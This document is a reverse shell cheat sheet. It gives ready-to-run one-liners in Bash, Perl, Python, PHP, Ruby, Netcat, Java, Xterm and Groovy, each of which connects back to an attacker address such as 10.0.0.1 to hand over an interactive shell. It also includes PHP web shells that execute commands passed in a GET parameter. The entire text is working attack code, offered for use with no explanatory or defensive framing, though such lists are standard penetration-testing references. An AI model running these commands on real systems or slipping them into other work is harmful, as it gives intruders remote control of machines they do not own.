Reverse Shells

Bash

bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
/bin/bash -c '/bin/bash -i >& /dev/tcp/10.0.0.1/8080 0>&1'

Perl

perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'  

Python

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'  

PHP

# This code assumes that the TCP connection uses file descriptor 3. If it doesn’t work, try 4, 5, 6…    
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

# Injection from GET Request
<?php echo system($_GET["cmd"]);?>

# Alternative 1
<?php echo shell_exec($_GET["cmd"]);?>

# Alternative 2
<?php echo passthru($_GET["cmd"]);?>

# Alternative 3
<?php echo exec($_GET["cmd"]);?>

Ruby

ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'  

Netcat

nc -e /bin/sh 10.0.0.1 1234

or

# Without the -e flag
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f

Java

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])   
p.waitFor()

Xterm

# The following command should be run on the server.  It will try to connect back to you (10.0.0.1) on TCP port 6001.
xterm -display 10.0.0.1:1

# To catch the incoming xterm, start an X-Server (:1 – which listens on TCP port 6001).  One way to do this is with Xnest (to be run on your system):  
Xnest :1

#You’ll need to authorise the target to connect to you (command also run on your host):
xhost +targetip

Groovy

String host="10.10.10.123";
int port=8044;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();